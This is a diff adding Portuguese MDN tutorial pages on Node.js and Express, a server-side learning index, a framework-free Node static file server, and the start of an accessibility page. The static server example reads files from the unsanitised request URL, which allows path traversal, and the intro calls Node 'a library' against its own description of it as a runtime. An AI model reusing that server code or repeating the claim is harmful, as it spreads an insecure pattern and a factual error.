Nota: This website has many useful resources for learning JavaScript in the context of client-side development: JavaScriptJavaScript Guide, JavaScript BasicsJavaScript (learning). The core JavaScript language and concepts are the same for server-side development on Node.js and this material will be relevant. Node.js offers additional APIs for supporting functionality that is useful in browserless environments, e.g. to create HTTP servers and access the file system, but does not support JavaScript APIs for working with the browser and DOM.

+ +

This guide will provide some information about working with Node.js and Express, and there are numerous other excellent resources on the Internet and in books — some of these linked from How do I get started with Node.js (StackOverflow) and What are the best resources for learning Node.js? (Quora).

+
+ +

Guias

+ +
+
Introdução a Express/Node
+
In this first Express article we answer the questions "What is Node?" and "What is Express?" and give you an overview of what makes the Express web framework special. We'll outline the main features, and show you some of the main building blocks of an Express application (although at this point you won't yet have a development environment in which to test it).
+
Configurar um ambiente de desenvolvimento Node (Express)
+
Now that you know what Express is for, we'll show you how to set up and test a Node/Express development environment on Windows, Linux (Ubuntu), and Mac OS X. Whatever common operating system you are using, this article should give you what you need to be able to start developing Express apps.
+
Tutorial de Express: O Website - Biblioteca Local
+
The first article in our practical tutorial series explains what you'll learn, and provides an overview of the "local library" example website we'll be working through and evolving in subsequent articles.
+
Tutorial de Express Parte 2: Criar um esqueleto de um website
+
This article shows how you can create a "skeleton" website project, which you can then go on to populate with site-specific routes, templates/views, and databases.
+
Tutorial de Express Parte 3: Usar uma Base de Dados (com Mongoose)
+
This article briefly introduces databases for Node/Express. It then goes on to show how we can use Mongoose to provide database access for the LocalLibrary website. It explains how object schema and models are declared, the main field types, and basic validation. It also briefly shows a few of the main ways you can access model data.
+
Tutorial de Express Parte 4: Rotas e controladores
+
In this tutorial we'll set up routes (URL handling code) with "dummy" handler functions for all the resource endpoints that we'll eventually need in the LocalLibrary website. On completion, we'll have a modular structure for our route handling code, that we can extend with real handler functions in the following articles. We'll also have a really good understanding of how to create modular routes using Express.
+
Tutorial de Express Parte 5: Exibir dados da biblioteca
+
We're now ready to add the pages that display the LocalLibrary website books and other data. The pages will include a home page that shows how many records we have of each model type, and list and detail pages for all of our models. Along the way we'll gain practical experience in getting records from the database, and using templates.
+
Tutorial de Express Parte 6: Trabalhar com formulários
+
In this tutorial we'll show you how to work with HTML Forms in Express, using Pug, and in particular how to write forms to create, update, and delete documents from the database.
+
Tutorial de Express Parte 7: Enviar para produção
+
Now you've created an awesome LocalLibrary website, you're going to want to install it on a public web server so that it can be accessed by library staff and members over the Internet. This article provides an overview of how you might go about finding a host to deploy your website, and what you need to do in order to get your site ready for production.
+
+ +

Consulte também

+ +
+
Installing LocalLibrary on PWS/Cloud Foundry
+
This article provides a practical demonstration of how to install LocalLibrary on the Pivotal Web Services PaaS cloud — this is a full-featured, open source alternative to Heroku, the PaaS cloud service used in Part 7 of the tutorial, listed above. PWS/Cloud Foundry is definitely worth checking out if you are looking for an alternative to Heroku (or another PaaS cloud service), or simply feel like trying something different.
+
+ +

Adicionar mais tutoriais

+ +
+

That's the end of the tutorial articles (for now). If you would like to extend it, other interesting topics to cover are:

+ + + +

And of course it would be excellent to have an assessment task!

+
diff --git a/files/pt-pt/learn/server-side/express_nodejs/introduction/index.html b/files/pt-pt/learn/server-side/express_nodejs/introduction/index.html new file mode 100644 index 0000000000..c39acc6f1d --- /dev/null +++ b/files/pt-pt/learn/server-side/express_nodejs/introduction/index.html @@ -0,0 +1,539 @@ +--- +title: Introdução a Express/Node +slug: Learn/No-servidor/Express_Nodejs/Introduction +tags: + - Aprender + - CodingScripting + - Express + - Nodo + - Principiante + - lado do servidor + - nodejs +translation_of: Learn/Server-side/Express_Nodejs/Introduction +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/No-servidor/Express_Nodejs", "Learn/Server-side/Express_Nodejs")}}
+ +

In this first Express article we answer the questions "What is Node?" (answer: a library) and "What is Express?", and give you an overview of what makes the Express web framework special. We'll outline the main features, and show you some of the main building blocks of an Express application (although at this point you won't yet have a development environment in which to test it).

+ + + + + + + + + + + + +
Pré-requisitos:Basic computer literacy. A general understanding of server-side website programming, and in particular the mechanics of client-server interactions in websites.
Objetivo:To gain familiarity with what Express is and how it fits in with Node, what functionality it provides, and the main building blocks of an Express application.
+ +

Introdução a Node

+ +

Node (or more formally Node.js) is an open-source, cross-platform, runtime environment that allows developers to create all kinds of server-side tools and applications in JavaScript. The runtime is intended for use outside of a browser context (i.e. running directly on a computer or server OS). As such, the environment omits browser-specific JavaScript APIs and adds support for more traditional OS APIs including HTTP and file system libraries.

+ +

From a web server development perspective Node has a number of benefits:

+ + + +

You can use Node.js to create a simple web server using the Node HTTP package.

+ +

Hello Node.js

+ +

The following example creates a web server that listens for any kind of HTTP request on the URL http://127.0.0.1:8000/ — when a request is received, the script will respond with the string: "Hello World". If you have already installed node, you can follow these steps to try out the example:

+ +
    +
  1. Open Terminal (on Windows, open the command line utility)
  2. +
  3. Create the folder where you want to save the program, for example, "test-node" and then enter it by entering the following command into your terminal:
  4. +
+ +
cd test-node
+ +
    +
  1. Using your favorite text editor, create a file called "hello.js" and paste the following code into it:
  2. +
+ +
// Load HTTP module
+var http = require("http");
+
+// Create HTTP server and listen on port 8000 for requests
+http.createServer(function(request, response) {
+
+   // Set the response HTTP header with HTTP status and Content type
+   response.writeHead(200, {'Content-Type': 'text/plain'});
+
+   // Send the response body "Hello World"
+   response.end('Hello World\n');
+}).listen(8000);
+
+// Print URL for accessing server
+console.log('Server running at http://127.0.0.1:8000/');
+ +
    +
  1. Save the file in the folder you created above.
  2. +
  3. Go back to the terminal and type the following command:
  4. +
+ +
node "hello.js"
+ +

Finally, navigate to "http://localhost:8000" in your web browser; you should see the text "Hello World" in the upper left of an otherwise empty web page.

+ +

Estruturas da Web (Frameworks)

+ +

Other common web-development tasks are not directly supported by Node itself. If you want to add specific handling for different HTTP verbs (e.g. GET, POST, DELETE, etc.), separately handle requests at different URL paths ("routes"), serve static files, or use templates to dynamically create the response, then you will need to write the code yourself, or you can avoid reinventing the wheel and use a web framework!

+ +

Introdução a Express

+ +

Express is the most popular Node web framework, and is the underlying library for a number of other popular Node web frameworks. It provides mechanisms to:

+ + + +

While Express itself is fairly minimalist, developers have created compatible middleware packages to address almost any web development problem. There are libraries to work with cookies, sessions, user logins, URL parameters, POST data, security headers, and many more. You can find a list of middleware packages maintained by the Express team at Express Middleware (along with a list of some popular 3rd party packages).

+ +
+

Nota: This flexibility is a double edged sword. There are middleware packages to address almost any problem or requirement, but working out the right packages to use can sometimes be a challenge. There is also no "right way" to structure an application, and many examples you might find on the Internet are not optimal, or only show a small part of what you need to do in order to develop a web application.

+
+ +

De onde veio o Node e o Express?

+ +

Node was initially released, for Linux only, in 2009. The NPM package manager was released in 2010, and native Windows support was added in 2012. The current LTS release is Node v8.11.2 while the latest release is Node 10.1.0. This is a tiny snapshot of a rich history; delve into Wikipedia if you want to know more.

+ +

Express was initially released in November 2010 and is currently on version 4.16 of the API. You can check out the changelog for information about changes in the current release, and GitHub for more detailed historical release notes.

+ +

Quão populares são o Node e Express?

+ +

The popularity of a web framework is important because it is an indicator of whether it will continue to be maintained, and what resources are likely to be available in terms of documentation, add-on libraries, and technical support.

+ +

There isn't any readily-available and definitive measurement of the popularity of server-side frameworks (although sites like Hot Frameworks attempt to assess popularity using mechanisms like counting the number of GitHub projects and StackOverflow questions for each platform). A better question is whether Node and Express are "popular enough" to avoid the problems of unpopular platforms. Are they continuing to evolve? Can you get help if you need it? Is there an opportunity for you to get paid work if you learn Express?

+ +

Based on the number of high profile companies that use Express, the number of people contributing to the codebase, and the number of people providing both free and paid for support, then yes, Express is a popular framework!

+ +

Express é opinativo?

+ +

Web frameworks often refer to themselves as "opinionated" or "unopinionated".

+ +

Opinionated frameworks are those with opinions about the "right way" to handle any particular task. They often support rapid development in a particular domain (solving problems of a particular type) because the right way to do anything is usually well-understood and well-documented. However they can be less flexible at solving problems outside their main domain, and tend to offer fewer choices for what components and approaches they can use.

+ +

Unopinionated frameworks, by contrast, have far fewer restrictions on the best way to glue components together to achieve a goal, or even what components should be used. They make it easier for developers to use the most suitable tools to complete a particular task, albeit at the cost that you need to find those components yourself.
+
+ Express is unopinionated. You can insert almost any compatible middleware you like into the request handling chain, in almost any order you like. You can structure the app in one file or multiple files, and using any directory structure. You may sometimes feel that you have too many choices!

+ +

Como é que o código de Express se parece?

+ +

In a traditional data-driven website, a web application waits for HTTP requests from the web browser (or other client). When a request is received the application works out what action is needed based on the URL pattern and possibly associated information contained in POST data or GET data. Depending on what is required it may then read or write information from a database or perform other tasks required to satisfy the request. The application will then return a response to the web browser, often dynamically creating an HTML page for the browser to display by inserting the retrieved data into placeholders in an HTML template.

+ +

Express provides methods to specify what function is called for a particular HTTP verb (GET, POST, SET, etc.) and URL pattern ("Route"), and methods to specify what template ("view") engine is used, where template files are located, and what template to use to render a response. You can use Express middleware to add support for cookies, sessions, and users, getting POST/GET parameters, etc. You can use any database mechanism supported by Node (Express does not define any database-related behaviour).

+ +

The following sections explain some of the common things you'll see when working with Express and Node code.

+ +

Helloworld Express

+ +

First lets consider the standard Express Hello World example (we discuss each part of this below, and in the following sections).

+ +
+

Dica: If you have Node and Express already installed (or if you install them as shown in the next article), you can save this code in a text file called app.js and run it in a bash command prompt by calling:   

+ +

./node ./app.js

+
+ +
var express = require('express');
+var app = express();
+
+app.get('/', function(req, res) {
+  res.send('Hello World!');
+});
+
+app.listen(3000, function() {
+  console.log('Example app listening on port 3000!');
+});
+
+ +

The first two lines require() (import) the express module and create an Express application. This object, which is traditionally named app, has methods for routing HTTP requests, configuring middleware, rendering HTML views, registering a template engine, and modifying application settings that control how the application behaves (e.g. the environment mode, whether route definitions are case sensitive, etc.)

+ +

The middle part of the code (the three lines starting with app.get) shows a route definition. The app.get() method specifies a callback function that will be invoked whenever there is an HTTP GET request with a path ('/') relative to the site root. The callback function takes a request and a response object as arguments, and simply calls send() on the response to return the string "Hello World!"

+ +

The final block starts up the server on port '3000' and prints a log comment to the console. With the server running, you could go to localhost:3000 in your browser to see the example response returned.

+ +

Importação e criação de módulos

+ +

A module is a JavaScript library/file that you can import into other code using Node's require() function. Express itself is a module, as are the middleware and database libraries that we use in our Express applications.

+ +

The code below shows how we import a module by name, using the Express framework as an example. First we invoke the require() function, specifying the name of the module as a string ('express'), and calling the returned object to create an Express application. We can then access the properties and functions of the application object.

+ +
var express = require('express');
+var app = express();
+
+ +

You can also create your own modules that can be imported in the same way.

+ +
+

Dica: You will want to create your own modules, because this allows you to organise your code into managable parts — a monolithic single-file application is hard to understand and maintain. Using modules also helps you manage your namespace, because only the variables you explicitly export are imported when you use a module.

+
+ +

To make objects available outside of a module you just need to assign them to the exports object. For example, the square.js module below is a file that exports area() and perimeter() methods:

+ +
exports.area = function(width) { return width * width; };
+exports.perimeter = function(width) { return 4 * width; };
+
+ +

We can import this module using require(), and then call the exported method(s) as shown:

+ +
var square = require('./square'); // Here we require() the name of the file without the (optional) .js file extension
+console.log('The area of a square with a width of 4 is ' + square.area(4));
+ +
+

Nota: You can also specify an absolute path to the module (or a name, as we did initially).

+
+ +

If you want to export a complete object in one assignment instead of building it one property at a time, assign it to module.exports as shown below (you can also do this to make the root of the exports object a constructor or other function):

+ +
module.exports = {
+  area: function(width) {
+    return width * width;
+  },
+
+  perimeter: function(width) {
+    return 4 * width;
+  }
+};
+
+ +

For a lot more information about modules see Modules (Node API docs).

+ +

Utilizar APIs assíncronas

+ +

JavaScript code frequently uses asynchronous rather than synchronous APIs for operations that may take some time to complete. A synchronous API is one in which each operation must complete before the next operation can start. For example, the following log functions are synchronous, and will print the text to the console in order (First, Second).

+ +
console.log('First');
+console.log('Second');
+
+ +

By contrast, an asynchronous API is one in which the API will start an operation and immediately return (before the operation is complete). Once the operation finishes, the API will use some mechanism to perform additional operations. For example, the code below will print out "Second, First" because even though setTimeout() method is called first, and returns immediately, the operation doesn't complete for several seconds.

+ +
setTimeout(function() {
+   console.log('First');
+   }, 3000);
+console.log('Second');
+
+ +

Using non-blocking asynchronous APIs is even more important on Node than in the browser, because Node is a single threaded event-driven execution environment. "single threaded" means that all requests to the server are run on the same thread (rather than being spawned off into separate processes). This model is extremely efficient in terms of speed and server resources, but it does mean that if any of your functions call synchronous methods that take a long time to complete, they will block not just the current request, but every other request being handled by your web application.

+ +

There are a number of ways for an asynchronous API to notify your application that it has completed. The most common way is to register a callback function when you invoke the asynchronous API, that will be called back when the operation completes. This is the approach used above.

+ +
+

Dica: Using callbacks can be quite "messy" if you have a sequence of dependent asynchronous operations that must be performed in order, because this results in multiple levels of nested callbacks. This problem is commonly known as "callback hell". This problem can be reduced by good coding practices (see http://callbackhell.com/), using a module like async, or even moving to ES6 features like Promises.

+
+ +
+

Nota: A common convention for Node and Express is to use error-first callbacks. In this convention the first value in your callback functions is an error value, while subsequent arguments contain success data. There is a good explanation of why this approach is useful in this blog: The Node.js Way - Understanding Error-First Callbacks (fredkschott.com).

+
+ +

Criação de manipuladores de rota

+ +

In our Hello World Express example (see above), we defined a (callback) route handler function for HTTP GET requests to the site root ('/').

+ +
app.get('/', function(req, res) {
+  res.send('Hello World!');
+});
+
+ +

The callback function takes a request and a response object as arguments. In this case the method simply calls send() on the response to return the string "Hello World!" There are a number of other response methods for ending the request/response cycle, for example you could call res.json() to send a JSON response or res.sendFile() to send a file.

+ +
+

Dica de JavaScript: You can use any argument names you like in the callback functions; when the callback is invoked the first argument will always be the request and the second will always be the response. It makes sense to name them such that you can identify the object you're working with in the body of the callback.

+
+ +

The Express application object also provides methods to define route handlers for all the other HTTP verbs, which are mostly used in exactly the same way: post(), put(), delete(), options(), trace(), copy(), lock(), mkcol(), move(), purge(), propfind(), proppatch(), unlock(), report(), mkactivity(), checkout(), merge(), m-search(), notify(), subscribe(), unsubscribe(), patch(), search(), and connect().

+ +

There is a special routing method, app.all(), which will be called in response to any HTTP method. This is used for loading middleware functions at a particular path for all request methods. The following example (from the Express documentation) shows a handler that will be executed for requests to /secret irrespective of the HTTP verb used (provided it is supported by the http module).

+ +
app.all('/secret', function(req, res, next) {
+  console.log('Accessing the secret section ...');
+  next(); // pass control to the next handler
+});
+ +

Routes allow you to match particular patterns of characters in a URL, and extract some values from the URL and pass them as parameters to the route handler (as attributes of the request object passed as a parameter).

+ +

Often it is useful to group route handlers for a particular part of a site together and access them using a common route-prefix (e.g. a site with a Wiki might have all wiki-related routes in one file and have them accessed with a route prefix of /wiki/). In Express this is achieved by using the express.Router object. For example, we can create our wiki route in a module named wiki.js, and then export the Router object, as shown below:

+ +
// wiki.js - Wiki route module
+
+var express = require('express');
+var router = express.Router();
+
+// Home page route
+router.get('/', function(req, res) {
+  res.send('Wiki home page');
+});
+
+// About page route
+router.get('/about', function(req, res) {
+  res.send('About this wiki');
+});
+
+module.exports = router;
+
+ +
+

Note: Adding routes to the Router object is just like adding routes to the app object (as shown previously).

+
+ +

To use the router in our main app file we would then require() the route module (wiki.js), then call use() on the Express application to add the Router to the middleware handling path. The two routes will then be accessible from /wiki/ and /wiki/about/.

+ +
var wiki = require('./wiki.js');
+// ...
+app.use('/wiki', wiki);
+ +

We'll show you a lot more about working with routes, and in particular about using the Router, later on in the linked section Routes and controllers .

+ +

Utilização de middleware

+ +

Middleware is used extensively in Express apps, for tasks from serving static files to error handling, to compressing HTTP responses. Whereas route functions end the HTTP request-response cycle by returning some response to the HTTP client, middleware functions typically perform some operation on the request or response and then call the next function in the "stack", which might be more middleware or a route handler. The order in which middleware is called is up to the app developer.

+ +
+

Nota: The middleware can perform any operation, execute any code, make changes to the request and response object, and it can also end the request-response cycle. If it does not end the cycle then it must call next() to pass control to the next middleware function (or the request will be left hanging).

+
+ +

Most apps will use third-party middleware in order to simplify common web development tasks like working with cookies, sessions, user authentication, accessing request POST and JSON data, logging, etc. You can find a list of middleware packages maintained by the Express team (which also includes other popular 3rd party packages). Other Express packages are available on the NPM package manager.

+ +

To use third party middleware you first need to install it into your app using NPM. For example, to install the morgan HTTP request logger middleware, you'd do this:

+ +
$ npm install morgan
+
+ +

You could then call use() on the Express application object to add the middleware to the stack:

+ +
var express = require('express');
+var logger = require('morgan');
+var app = express();
+app.use(logger('dev'));
+...
+ +
+

Nota: Middleware and routing functions are called in the order that they are declared. For some middleware the order is important (for example if session middleware depends on cookie middleware, then the cookie handler must be added first). It is almost always the case that middleware is called before setting routes, or your route handlers will not have access to functionality added by your middleware.

+
+ +

You can write your own middleware functions, and you are likely to have to do so (if only to create error handling code). The only difference between a middleware function and a route handler callback is that middleware functions have a third argument next, which middleware functions are expected to call if they are not that which completes the request cycle (when the middleware function is called, this contains the next function that must be called).

+ +

You can add a middleware function to the processing chain with either app.use() or app.add(), depending on whether you want to apply the middleware to all responses or to responses with a particular HTTP verb (GET, POST, etc). You specify routes the same in both cases, though the route is optional when calling app.use().

+ +

The example below shows how you can add the middleware function using both methods, and with/without a route.

+ +
var express = require('express');
+var app = express();
+
+// An example middleware function
+var a_middleware_function = function(req, res, next) {
+  // ... perform some operations
+  next(); // Call next() so Express will call the next middleware function in the chain.
+}
+
+// Function added with use() for all routes and verbs
+app.use(a_middleware_function);
+
+// Function added with use() for a specific route
+app.use('/someroute', a_middleware_function);
+
+// A middleware function added for a specific HTTP verb and route
+app.get('/', a_middleware_function);
+
+app.listen(3000);
+ +
+

Dica de JavaScript: Above we declare the middleware function separately and then set it as the callback. In our previous route handler function we declared the callback function when it was used. In JavaScript, either approach is valid.

+
+ +

The Express documentation has a lot more excellent documentation about using and writing Express middleware.

+ +

Servindo ficheiros estásticos

+ +

You can use the express.static middleware to serve static files, including your images, CSS and JavaScript (static() is the only middleware function that is actually part of Express). For example, you would use the line below to serve images, CSS files, and JavaScript files from a directory named 'public' at the same level as where you call node:

+ +
app.use(express.static('public'));
+
+ +

Any files in the public directory are served by adding their filename (relative to the base "public" directory) to the base URL. So for example:

+ +
http://localhost:3000/images/dog.jpg
+http://localhost:3000/css/style.css
+http://localhost:3000/js/app.js
+http://localhost:3000/about.html
+
+ +

You can call static() multiple times to serve multiple directories. If a file cannot be found by one middleware function then it will simply be passed on to the subsequent middleware (the order that middleware is called is based on your declaration order).

+ +
app.use(express.static('public'));
+app.use(express.static('media'));
+
+ +

You can also create a virtual prefix for your static URLs, rather than having the files added to the base URL. For example, here we specify a mount path so that the files are loaded with the prefix "/media":

+ +
app.use('/media', express.static('public'));
+
+ +

Now, you can load the files that are in the public directory from the /media path prefix.

+ +
http://localhost:3000/media/images/dog.jpg
+http://localhost:3000/media/video/cat.mp4
+http://localhost:3000/media/cry.mp3
+
+ +

For more information, see Serving static files in Express.

+ +

Erros de manipulação

+ +

Errors are handled by one or more special middleware functions that have four arguments, instead of the usual three: (err, req, res, next). For example:

+ +
app.use(function(err, req, res, next) {
+  console.error(err.stack);
+  res.status(500).send('Something broke!');
+});
+
+ +

These can return any content required, but must be called after all other app.use() and routes calls so that they are the last middleware in the request handling process!

+ +

Express comes with a built-in error handler, which takes care of any remaining errors that might be encountered in the app. This default error-handling middleware function is added at the end of the middleware function stack. If you pass an error to next() and you do not handle it in an error handler, it will be handled by the built-in error handler; the error will be written to the client with the stack trace.

+ +
+

Nota: The stack trace is not included in the production environment. To run it in production mode you need to set the the environment variable NODE_ENV to 'production'.

+
+ +
+

Nota: HTTP404 and other "error" status codes are not treated as errors. If you want to handle these, you can add a middleware function to do so. For more information see the FAQ.

+
+ +

For more information see Error handling (Express docs).

+ +

Utilização de bases de dados

+ +

Express apps can use any database mechanism supported by Node (Express itself doesn't define any specific additional behaviour/requirements for database management). There are many options, including PostgreSQL, MySQL, Redis, SQLite, MongoDB, etc.

+ +

In order to use these you have to first install the database driver using NPM. For example, to install the driver for the popular NoSQL MongoDB you would use the command:

+ +
$ npm install mongodb
+
+ +

The database itself can be installed locally or on a cloud server. In your Express code you require the driver, connect to the database, and then perform create, read, update, and delete (CRUD) operations. The example below (from the Express documentation) shows how you can find "mammal" records using MongoDB.

+ +
//this works with older versions of  mongodb version ~ 2.2.33
+var MongoClient = require('mongodb').MongoClient;
+
+MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) {
+  if (err) throw err;
+
+  db.collection('mammals').find().toArray(function (err, result) {
+    if (err) throw err;
+
+    console.log(result);
+  });
+});
+
+
+//for mongodb version 3.0 and up
+let MongoClient = require('mongodb').MongoClient;
+MongoClient.connect('mongodb://localhost:27017/animals', function(err, client){
+   if(err) throw err;
+
+   let db = client.db('animals');
+   db.collection('mammals').find().toArray(function(err, result){
+     if(err) throw err;
+     console.log(result);
+     client.close();
+   });
+}
+
+ +

 

+ +

 

+ +

 

+ +

Another popular approach is to access your database indirectly, via an Object Relational Mapper ("ORM"). In this approach you define your data as "objects" or "models" and the ORM maps these through to the underlying database format. This approach has the benefit that as a developer you can continue to think in terms of JavaScript objects rather than database semantics, and that there is an obvious place to perform validation and checking of incoming data. We'll talk more about databases in a later article.

+ +

For more information see Database integration (Express docs).

+ +

Renderização de dados (visualizações)

+ +

Template engines (referred to as "view engines" by Express) allow you to specify the structure of an output document in a template, using placeholders for data that will be filled in when a page is generated. Templates are often used to create HTML, but can also create other types of documents. Express has support for a number of template engines, and there is a useful comparison of the more popular engines here: Comparing JavaScript Templating Engines: Jade, Mustache, Dust and More.

+ +

In your application settings code you set the template engine to use and the location where Express should look for templates using the 'views' and 'view engines' settings, as shown below (you will also have to install the package containing your template library too!)

+ +
var express = require('express');
+var app = express();
+
+// Set directory to contain the templates ('views')
+app.set('views', path.join(__dirname, 'views'));
+
+// Set view engine to use, in this case 'some_template_engine_name'
+app.set('view engine', 'some_template_engine_name');
+
+ +

The appearance of the template will depend on what engine you use. Assuming that you have a template file named "index.<template_extension>" that contains placeholders for data variables named 'title' and "message", you would call Response.render() in a route handler function to create and send the HTML response:

+ +
app.get('/', function(req, res) {
+  res.render('index', { title: 'About dogs', message: 'Dogs rock!' });
+});
+ +

For more information see Using template engines with Express (Express docs).

+ +

Estrutura de ficheiro

+ +

Express makes no assumptions in terms of structure or what components you use. Routes, views, static files, and other application-specific logic can live in any number of files with any directory structure. While it is perfectly possible to have the whole Express application in one file, typically it makes sense to split your application into files based on function (e.g. account management, blogs, discussion boards) and architectural problem domain (e.g. model, view or controller if you happen to be using an MVC architecture).

+ +

In a later topic we'll use the Express Application Generator, which creates a modular app skeleton that we can easily extend for creating web applications.

+ + + +

Resumo

+ +

Congratulations, you've completed the first step in your Express/Node journey! You should now understand Express and Node's main benefits, and roughly what the main parts of an Express app might look like (routes, middleware, error handling, and template code). You should also understand that with Express being an unopinionated framework, the way you pull these parts together and the libraries that you use are largely up to you!

+ +

Of course Express is deliberately a very lightweight web application framework, so much of its benefit and potential comes from third party libraries and features. We'll look at those in more detail in the following articles. In our next article we're going to look at setting up a Node development environment, so that you can start seeing some Express code in action.

+ +

Consulte também

+ + + +
{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}
+ +

Neste módulo

+ + diff --git a/files/pt-pt/learn/server-side/index.html b/files/pt-pt/learn/server-side/index.html new file mode 100644 index 0000000000..b8cc8d35f7 --- /dev/null +++ b/files/pt-pt/learn/server-side/index.html @@ -0,0 +1,57 @@ +--- +title: Programação do site da Web no lado do servidor +slug: Learn/No-servidor +tags: + - Aprender + - Código + - Iniciante + - Introdução + - Programação no servidor + - Scripting + - Servidor + - Tópico +translation_of: Learn/Server-side +--- +
{{LearnSidebar}}
+ +

O tópico Sites da Web Dinâmicos - Programação no lado do servidor é uma série de módulos que mostram como criar sites da web dinâmicos; sites da web que entregam informação personalizada em resposta aos pedidos de HTTP. Os módulos proporcionam uma introdução genérica à programação no lado do servidor, bem como guias especificamente desenvolvidos para principiantes sobre como utilizar as estruturas de Django (Python) e Express (Node.js/JavaScript) para criar aplicações básicas.

+ +

A maioria dos maiores sites da web utilizam algum tipo de tecnologia no lado do servidor para exibir dados diferentes, conforme o necessário. Por exemplo, imagine quantos produtos é que estão disponíveis na Amazon e imagine quantos artigos é que foram escritos no Facebook? Exibir todo este conteúdo utilizando páginas estáticas completamente diferentes seria absolutamente ineficiente, assim em vez disso, estes sites exibem modelos estáticos (criados utilizando CSS, HTML e JavaScript), e depois atualizam os dados dinamicamente, exibindo-os dentro dos modelos quando necessário, por exemplo, quando tenta ver um produto diferente na Amazon.

+ +

No mundo moderno do desenvolvimento da web, aprender sobre o desenvolvimento no lado do servidor é altamente recomendado.

+ +

Caminho de aprendizagem

+ +

Começar com programação web no servidor é, de um modo geral, mais fácil que começar com desenvolvimento no lado do cliente, pois páginas web dinâmicas tendem a executar operações muito similares (adquirir dados e guardar na base de dados, verificar as permissões dos usuários, registrar usuários, etc.) , e são construídos utilizando frameworks, os quais tornam estas e outras operações de servidores web fáceis.

+ +

Ter conhecimentos básicos de conceitos de programação (ou de uma linguagem de programação específica) é útil, mas não essencial. Da mesma forma, experiência com código do lado do cliente não é absolutamente necessária, mas um conhecimento básico irá ajuda-lo a trabalhar melhor com os desenvolvedores que criam o "front-end" do seu website.

+ +

Precisará de compreender "como a web funciona". Recomendamos que comece por ler os seguintes tópicos:

+ + + +

Com a compreensão básica destes conceitos, estará pronto para continuar no seu caminho pelos módulos nesta secção.

+ +

Módulos

+ +

This topic contains the following modules. You should start with the first module, then go on to one of the following modules, which show how to work with two very popular server-side languages using appropriate web frameworks . 

+ +
+
Primeiros passos na programação web em servidores
+
This module provides server-technology-agnostic information about server-side website programming, including answers to fundamental questions about server-side programming — "what it is", "how it differs from client-side programming", and "why it is so useful" — and an overview of some of the more popular server-side web frameworks and guidance on how to select the most suitable for your site. Lastly we provide an introductory section on web server security.
+
Framework da Web Django (Python)
+
Django is an extremely popular and fully featured server-side web framework, written in Python. The module explains why Django is such a good web server framework, how to set up a development environment and how to perform common tasks with it.
+
Express Web Framework (Node.js/JavaScript)
+
Express is a popular web framework, written in JavaScript and hosted within the node.js runtime environment. The module explains some of the key benefits of this framework, how to set up your development environment and how to perform common web development and deployment tasks.
+
+ +

Consulte também

+ +
+
Servidor de Node sem uma framework
+
Este artigo fornece um servidor de ficheiros estático simples criado com Node.js puro, para aqueles que não desejam utilizar uma framework.
+
diff --git a/files/pt-pt/learn/server-side/node_server_without_framework/index.html b/files/pt-pt/learn/server-side/node_server_without_framework/index.html new file mode 100644 index 0000000000..85bd786b58 --- /dev/null +++ b/files/pt-pt/learn/server-side/node_server_without_framework/index.html @@ -0,0 +1,94 @@ +--- +title: Servidor de Node.js sem uma framework +slug: Learn/No-servidor/Servidor_node_sem_framework +tags: + - JavaScript + - Nodo + - Precisa de Conteúdo + - Servidor + - sem estrutura +translation_of: Learn/Server-side/Node_server_without_framework +--- +
{{LearnSidebar}}
+ +

 

+ +

Este artigo fornece um servidor de ficheiros estático simples com Node.js puro, sem a utilização de uma framework.

+ +

NodeJS tem muitas frameworks para ajudá-lo a ter o seu servidor configurado e a funcionar.

+ + + +

Estas não irão corresponder a todas as situações. Um programador pode precisar de criar o seu próprio servidor sem outras dependências.

+ +

Exemplo

+ +

Um servidor de ficheiros estático simples, criado com Node.js:

+ +

 

+ +
var http = require('http');
+var fs = require('fs');
+var path = require('path');
+
+http.createServer(function (request, response) {
+    console.log('request ', request.url);
+
+    var filePath = '.' + request.url;
+    if (filePath == './') {
+        filePath = './index.html';
+    }
+
+    var extname = String(path.extname(filePath)).toLowerCase();
+    var contentType = 'text/html';
+    var mimeTypes = {
+        '.html': 'text/html',
+        '.js': 'text/javascript',
+        '.css': 'text/css',
+        '.json': 'application/json',
+        '.png': 'image/png',
+        '.jpg': 'image/jpg',
+        '.gif': 'image/gif',
+        '.wav': 'audio/wav',
+        '.mp4': 'video/mp4',
+        '.woff': 'application/font-woff',
+        '.ttf': 'application/font-ttf',
+        '.eot': 'application/vnd.ms-fontobject',
+        '.otf': 'application/font-otf',
+        '.svg': 'application/image/svg+xml'
+    };
+
+    contentType = mimeTypes[extname] || 'application/octet-stream';
+
+    fs.readFile(filePath, function(error, content) {
+        if (error) {
+            if(error.code == 'ENOENT'){
+                fs.readFile('./404.html', function(error, content) {
+                    response.writeHead(200, { 'Content-Type': contentType });
+                    response.end(content, 'utf-8');
+                });
+            }
+            else {
+                response.writeHead(500);
+                response.end('Sorry, check with the site admin for error: '+error.code+' ..\n');
+                response.end();
+            }
+        }
+        else {
+            response.writeHead(200, { 'Content-Type': contentType });
+            response.end(content, 'utf-8');
+        }
+    });
+
+}).listen(8125);
+console.log('Server running at http://127.0.0.1:8125/');
+ +

 

+ +

A efetuar

+ +

Estenda este artigo, explicando como é que o código acima funciona. Talvez, uma versão estendida que sirva os ficheiros estáticos e lide com pedidos dinâmicos.

diff --git a/files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html b/files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html new file mode 100644 index 0000000000..c50c8854ba --- /dev/null +++ b/files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html @@ -0,0 +1,607 @@ +--- +title: Como tratar de problemas de acessibilidade comuns +slug: Learn/Tools_and_testing/Teste_cruzado_de_navegador/Acessibilidade +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}
+ +

Neste módulo, vamos falar de acessibilidade, abordando problemas frequentes, como fazer testes simples, e como utilizar ferramentas de automatização e auditoria para identificar problemas de acessibilidade.

+ + + + + + + + + + + + +
Pré-requisitos:Familiaridade com as bases de HTML, CSS, e JavaScript; uma ideia-base dos princípios de testes cross browser de alto nível.
Objetivo:Saber diagnosticar problemas comuns de acessibilidade, e saber usar as ferramentas e técnicas adequadas para resolvê-los.
+ +

